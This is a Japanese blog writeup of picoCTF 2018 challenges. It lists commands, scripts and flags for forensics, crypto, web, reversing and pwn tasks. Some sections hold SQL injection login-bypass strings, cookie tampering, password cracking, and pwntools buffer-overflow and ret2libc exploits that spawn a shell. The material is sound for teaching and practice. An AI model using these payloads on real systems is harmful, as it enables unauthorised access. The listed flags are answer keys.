ふるつき

私は素直に思ったことを書いてるけど、上から目線だって言われる

picoCTF 2018 writeup

 激つよチーム PPP がやっているという初心者向け CTF picoCTF 2018 に 途中まで theoldmoon0602 一人、途中から ptr-yudai と insecure として参加していました。いつの間にか終わっていたので解いた問題の writeup を雑に書きます。

[Forensics 50] Forensics Warmup 1

Forensics - Solved

f:id:Furutsuki:20181013224334p:plain

flag.zip をダウンロードしてきて、 unzip すると flag.jpg というファイルが出てくるので display flag.jpg として表示しました。

### [Forensics 50] Forensics Warmup 2

f:id:Furutsuki:20181013224459p:plain

flag.png が手に入るので display flag.png としたらFlagが手に入りました。Flag文字列から察するに中身は jpg とかで、 file flag.png としたらやはり JPG でした。

[General Skills 50] General Warmup 1

If I told you your grade was 0x41 in hexadecimal, what would it be in ASCII?

という問題文だったので、多分 picoCTF{A} とか送ったんだと思います

[General Skills 50] General Warmup 2

Can you convert the number 27 (base 10) to binary (base 2)?

python でやるなら bin(27) とかですね

[General Skills 50]General Warmup 3

What is 0x3D (base 16) in decimal (base 10).

pythonインタプリタ0x3D っていれると10進の値が返値です

[General Skills 50] Resources

 適当なWebページに飛ぶので、 ページ内検索で picoCTF{ などを検索すると picoCTF{xiexie_ni_lai_zheli} があります

[Reversing 50]Reversing Warmup 1

 ELFが手に入るので実行するとフラグが出力されます。picoCTF{welc0m3_t0_r3VeRs1nG}

[Reversing 50] Reversing Warmup 2

$ echo dGg0dF93NHNfczFtcEwz|base64 -d
th4t_w4s_s1mpL3

[Cryptography 75] Crypto Warmup 1

vignere っぽい暗号表と暗号文 c, 鍵 k が渡されます。

c: llkjmlmpadkkc
k: thisisalilkey
m: SECRETMESSAGE

[Cryptograph 75] Crypto Warmup 2

>>> "cvpbPGS{guvf_vf_pelcgb!}".decode("rot13")
u'picoCTF{this_is_crypto!}'

[General Skills 75] grep 1

file がわたされるので grep します。

$ cat file | grep picoCTF{ 
picoCTF{grep_and_you_will_find_52e63a9f}

[General Skills 75] net cat

Using netcat (nc) will be a necessity throughout your adventure. Can you connect to 2018shell3.picoctf.com at port 10854 to get the flag?

$ nc 2018shell3.picoctf.com 10854 
That wasn't so hard was it?
picoCTF{NEtcat_iS_a_NEcESSiTy_c97963fe}

[Cryptograph 100] HEEEEEEERE'S Johnny!

passwdshadow ファイルが渡されるので john the ripper でなんとかします。

$ unshadow ./passwd ./shadow > ./johnpasswd
$ chmod 0600 ./johnpasswd
$ john --user=root --single ./johnpasswd
$ john --user=root --show ./johnpasswd
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
No password hashes left to crack (see FAQ)
root:kissme:0:0:root:/root:/bin/bash

1 password hash cracked, 0 left
$ cat <<A | nc 2018shell2.picoctf.com 5221
root
kissme
A
Username: Password: picoCTF{J0hn_1$_R1pp3d_289677b5}

[General Skills 100] strings

ELF が渡されるので問題名に従って strings しますが、たくさん流れるので結局 grep します

$ strings strings | grep picoCTF
picoCTF{sTrIngS_sAVeS_Time_c09b1444}

[General Skills 110] pipe

アドレスとポートを頂くので nc すると大量の文字列を受信します。とりあえず out.txt などにリダイレクトしておいて、 grep でそれっぽいものを残します。

> cat ./out.txt | grep -v "Unfortunately" | grep -v "another" | grep -v "not a"
picoCTF{almost_like_mario_8861411c}

普通に grep picoCTF{ でも良いですが

[Web Exploitation 125] Inspect Me

ページのソースをみるとフラグの断片が見つかります。 mycss.css の末尾に残りがあります。 html の方には part 1/3 of the flag の文字列がありましたが結局フラグは二つに分割されているだけでした。

picoCTF{ur_4_real_1nspect0r_g4dget_098df0d0}

[General Skills 125] grep 2

今度は picoCTF の提供する WebShell 上での問題です。 たくさんディレクトリがあるので grep -R で探します。

$ grep -R "picoCTF" 
.
./files2/file3:picoCTF{grep_r_and_you_will_find_036bbb25}

[General Skills 150] Aca-Shell-A

略。面倒な問題でした

[Web Exploitation 150] Client Side is Still Bad

 ページのコードは以下のようになっているのでコピーして vim でいい感じに編集してフラグをえました。

<script type="text/javascript">
  function verify() {
    checkpass = document.getElementById("pass").value;
    split = 4;
    if (checkpass.substring(split*7, split*8) == '}') {
      if (checkpass.substring(split*6, split*7) == '06ac') {
        if (checkpass.substring(split*5, split*6) == 'd_5e') {
         if (checkpass.substring(split*4, split*5) == 's_ba') {
          if (checkpass.substring(split*3, split*4) == 'nt_i') {
            if (checkpass.substring(split*2, split*3) == 'clie') {
              if (checkpass.substring(split, split*2) == 'CTF{') {
                if (checkpass.substring(0,split) == 'pico') {
                  alert("You got the flag!")
                  }
                }
              }
      
            }
          }
        }
      }
    }
    else {
      alert("Incorrect password");
    }
  }

[Web Exploitation 150] Logon

admin 以外の好きなユーザ名 & パスワードでログインできるページです。 cookieadmin という項目があり False が入っていたので True に編集してリクエストを送りました。

picoCTF{l0g1ns_ar3nt_r34l_2a968c11}

[Forensics 150] Reading Between the Eyes

なにか画像が渡されるので、オンラインの steganography solver に突っ込んだような気がします。

[Forensics 150] Recovering From the Snap

animals.dd が渡されて、 file コマンドにかけると FAT16 っぽいのでマウントしたのですがフラグはなく、ではと思って SleuthKit から flsicat で削除されていた theflag.jpg を復旧しました。

$ fls animals.dd
r/r 4:  dachshund.jpg
r/r * 6:    fox.jpg
r/r 8:  frog.jpg
r/r * 10:   giraffe.jpg
r/r 12: music.jpg
r/r * 14:   rabbit2.jpg
r/r 16: rabbit.jpg
r/r * 18:   theflag.jpg
v/v 327027: $MBR
v/v 327028: $FAT1
v/v 327029: $FAT2
d/d 327030: $OrphanFiles

$ icat animals.dd 18 > theflag.jpg

picoCTF{th3_5n4p_happ3n3d}

[Forensics 150] admin panel

$ strings data.pcap| grep picoCTF{  
user=admin&password=picoCTF{n0ts3cur3_b186631d}

[Reversing 150] assembly-0

.intel_syntax noprefix
/* .bits 32 */
    
.global asm0

asm0:
    push ebp
    mov  ebp,esp
    mov  eax,DWORD PTR [ebp+0x8]
    mov  ebx,DWORD PTR [ebp+0xc]
    mov  eax,ebx
    mov  esp,ebp
    pop  ebp  
    ret

このようなアセンブリソースコードが配布され、

What does asm0(0xc9,0xb0) return?

とのことなので以下のように main.c を書いて gcc main.c asm.S -m32 としてリターンコードを見ました。

extern int asm0(int,int);

int main() {
        return asm0(0x2a,0x4f);
}

[Binary Exploitation 150] buffer overflow 0

略。単純なバッファオーバーフローがあるので リターンアドレスを書き換えると フラグを取得する処理に飛べます。

[Cryptograph 150] caesar cipher 1

適当な ソルバにかけます。

picoCTF{justagoodoldcaesarcipherfwacbovv}

[General Skills 150] environ

与えられたシェルで env とします。

$ env                                                                       
SECRET_FLAG=picoCTF{eNv1r0nM3nT_v4r14Bl3_fL4g_3758492} 

[Cryptograph 150] hertz

単一換字暗号とみて適当な quipquip に投げました。

substitution_ciphers_are_solvable_gatmlnvhri

[Forensics 150] hex editor

画像が与えられます。 strings すると Your flag is: "picoCTF{and_thats_how_u_edit_hex_kittos_3E03e57d}" が見えます

[General Skills 150] ssh-keyz

略。 ssh鍵を登録してSSHすると見えます。

[Web Exploitation 200] Irish Name Repo

ログイン画面に SQL インジェクションがあり パスワードを 'OR'a'='a とするとログインできます。

picoCTF{con4n_r3411y_1snt_1r1sh_d121ca0b}

[Web Exploitation 200] Mr. Robots

問題名に従って /robot.txt にアクセスすると隠しておきたいページが見えるので見に行っちゃいます。 picoCTF{th3_w0rld_1s_4_danger0us_pl4c3_3lli0t_74efc}

[Web Exploitation 200] Secret Agent

問題文に従って UserAgent を googlebot に偽装すると flag が手に入ります。 picoCTF{s3cr3t_ag3nt_m4n_dc320c11}

[Forensics 200] Truly an Artist

画像が渡されますが strings で解けます。 picoCTF{look_in_image_13509d38}

[Reversing 200] assembly-1

assembly-0 と同じ方針で解けます

[Reversing 200] be-quick-or-be-dead-1

ELFが渡されますが実行すると「遅い」って言われて死にます。どっかで sigalarm を飛ばして死ぬ処理が走ってると思うので潰します。 今回は radare2 で sigalarm の発行処理を nop で潰しました。

picoCTF{why_bother_doing_unnecessary_computation_402ca676}

[Binary Exploitation 200] buffer overflow 1

from pwn import *

win = 0x80485cb
print(repr("A"*44 + p32(win)))

[Cryptography 200] hertz2

また単一換字暗号です。 picoCTF{substitution_ciphers_are_too_easy_vpyydylnns}

[Binary Exploitation 200] leak-me

strcat を使っているのでバッファオーバーフローでヌル文字を埋めると文字列がだばだばでます。

$ nc 2018shell2.picoctf.com 1271
What is your name?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,a_reAllY_s3cuRe_p4s$word_f78570

Incorrect Password!

^C
$ nc 2018shell2.picoctf.com 1271
What is your name?
aiueo
Hello aiueo,
Please Enter the Password.
a_reAllY_s3cuRe_p4s$word_f78570
picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_958ebb8e}

^C

[Forensics 200] now you don't

画像が与えられるのでバケツツールで塗りつぶすとフラグ文字列が手に入ります。

f:id:Furutsuki:20181013234229p:plain

[Reversing 200] quackme

内部でフラグを生成か比較かしていたので gdb で追いかけながら解きました。

a = [0x59, 0x6f, 0x75, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x6e, 0x6f, 0x77, 0x20, 0x65, 0x6e, 0x74, 0x65, 0x72, 0x65, 0x64, 0x20, 0x74, 0x68, 0x65 , 0x20, 0x44, 0x75, 0x63, 0x6b, 0x20, 0x57, 0x65, 0x62, 0x2c, 0x20, 0x61, 0x6e, 0x64]
b = [0x29, 0x06, 0x16, 0x4f, 0x2b, 0x35, 0x30, 0x1e, 0x51, 0x1b, 0x5b, 0x14, 0x4b, 0x08, 0x5d, 0x2b, 0x50, 0x14, 0x5d, 0x00, 0x19, 0x17, 0x59, 0x52, 0x5d, 0x00, 0x4e, 0x6f, 0x20, 0x6c, 0x69, 0x6e, 0x65, 0x20, 0x72, 0x65, 0x61, 0x64]

flag = ""
for x in zip(a, b):
    flag += chr(x[0] ^ x[1])

print(flag)

picoCTF{qu4ckm3_5f8d9c17}

[Reversing 200] shellcode

シェルコードを実行するだけのバイナリがあるので、 shellstorm から拝借したやつを貼り付けます。

picoCTF{shellc0de_w00h00_7f5a7309}

[General Skills 200] what base is this?

from pwn import *

p = remote("2018shell2.picoctf.com", 1225)
s1 = p.recvuntil("give me the")
s = p.recvuntil("as")
s1 += s
s = s[:-3]
s1 += p.recvuntil("Input:").rstrip()
print(s1)
s = "".join(map(chr, map(lambda x: int(x, 2), s.split())))
print(s)
p.sendline(s)


s1 = p.recvuntil("give me the")
s = p.recvuntil("as")
s1 += s
s = s[:-3].strip()
s1 += p.recvuntil("Input:").rstrip()
print(s1)
s = s.decode("hex")
print(s)
p.sendline(s)


s1 = p.recvuntil("give me the")
s = p.recvuntil("as")
s1 += s
s = s[:-3]
s1 += p.recvuntil("Input:").rstrip()
print(s1)
s = "".join(map(chr, map(lambda x: int(x, 8), s.split())))
print(s)
p.sendline(s)

while True:
    print(p.recv(1000))

picoCTF{delusions_about_finding_values_451a9a74}

[General Skills 200] you can't see me

.   というファイルにフラグがあったのですが . にしか見えず困っていたところ、ふと回した var_dump(scandir(".")); に助けられ、無事

$ cat ".  "
picoCTF{j0hn_c3na_paparapaaaaaaa_paparapaaaaaa_093d6aff}

[Web Exploitation 250] Buttons

$ curl http://2018shell2.picoctf.com:65107/button2.php -X POST
Well done, your flag is: picoCTF{button_button_whose_got_the_button_91f6f39a}

[Web Exploitation 250] The Vault

ソースコードを見せてくれる優しい ログインページなのでSQLインジェクションさせてもらいます。

ユーザ名を admin' union all select 1 -- 、パスワードを hoge とかにすると通ります

picoCTF{w3lc0m3_t0_th3_vau1t_c4738171}

[Forensics 250] What's My Name?

pcap がおちてくるので迷いなく strings します。

picoCTF{w4lt3r_wh1t3_033ad0f914a0b9d213bcc3ce5566038b}

[General Skills 250] absolutely relative

/tmp/takoyaki みたいなディレクトリを作って permission.txtyes を書き込んでおき、このディレクトリでバイナリを呼びます。

picoCTF{3v3r1ng_1$_r3l3t1v3_3b69633f}

[Reversing 250] assembly-2

assembly-0 と同じ要領で解けます

[Binary Exploitation 250] buffer overflow 2

from pwn import *

win = p32(0x080485cb)
dummy = p32(0xdeadbeef)
deadbeef = p32(0xdeadbeef)
deadcode = p32(0xdeadc0de)
print(repr("A"*112 + win + dummy + deadbeef + deadcode))

[Cryptography 250] caesar cipher 2

printable only じゃなくなったので自前でソルバを書きます。

c = map(ord, list(open("ciphertext").read()))

for i in range(256):
    s = ""
    for char in c:
        s += chr((char + i) % 256)
    if s.startswith("pico"):
        break
print(repr(s))


import string
src = s
dst = src.translate(string.maketrans('\xa1\xb2\xa4\x9f\xb0\xb1\xae\xa3', 'CTFARSPE')) # 'I likE orAngE.'
print(repr(dst))

そのまま回しただけだとダメそうなところがあったので適当な変換テーブルも書きました。

picoCTF{cAesaR_CiPhErS_juST_aREnT_sEcUrE}

[Binary Exploitation 250] got-2-learn-libc

ひとつだけCSSの適用がおかしかった問題。

バッファオーバーフローのあるELFからgot2libc して system("/bin/sh") を呼ばせる。適当な関数のアドレスを渡してくれるのでそこから libcの先頭を計算して飛ぶべきアドレスを決める。

from pwn import *

p = process("/problems/got-2-learn-libc_1_ceda86bc09ce7d6a0588da4f914eb833/vuln")

libc_system = 0x0003a940
libc_puts = 0x0005f140
binsh_addr = 0x15902b

p.recvuntil("puts: ")
exec_libc_puts = int(p.recvline().strip(), 16)

libc_addr = exec_libc_puts - libc_puts

p.recvuntil("Enter a string:")

exec_libc_system = p32(libc_addr + libc_system)
exec_binsh_addr = p32(libc_addr + binsh_addr)

p.sendline("A"*160 + exec_libc_system + exec_binsh_addr + exec_binsh_addr)
p.interactive()

picoCTF{syc4al1s_4rE_uS3fUl_a78c4d87}

[Reversing 275] be-quick-or-be-dead-2

前問同様に alarm は消す。フィボナッチ数列の 0x402 項目の計算がとんでもなく遅かったので同じで高速な処理を自前で書いて出力を得ておいて、 gdbフィボナッチ数列の計算を飛ばして結果だけ正しくなるように set $eax=0xf70a9b58 した。

picoCTF{the_fibonacci_sequence_can_be_done_fast_7e188834}

[General Skills 275] in out error

なんもわからん

$ echo 'Please may I have the flag?' | ./in-out-error 1>/dev/null
picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}...

[General Skills 300] learn gdb

ELF が渡される。内部でフラグを計算する処理が走ってるらしい。 strace をして適当に整形してやるとフラグが手に入ったけど何をしても手に入ると思う。

picoCTF{gDb_iS_sUp3r_u53fuL_f3f39814}

感想

General Skills の問題をとくのが初心者にとっても良さそう。私の場合は解いた問題は知っているものばかりで微妙だった。 be-quick-or-be-die は radare2 でバイナリパッチする練習になったので良かった。

面白い問題に到達する前に飽きちゃったのが良くない。

Ext Super Magic とNo Login が解けなかったのは悔しい。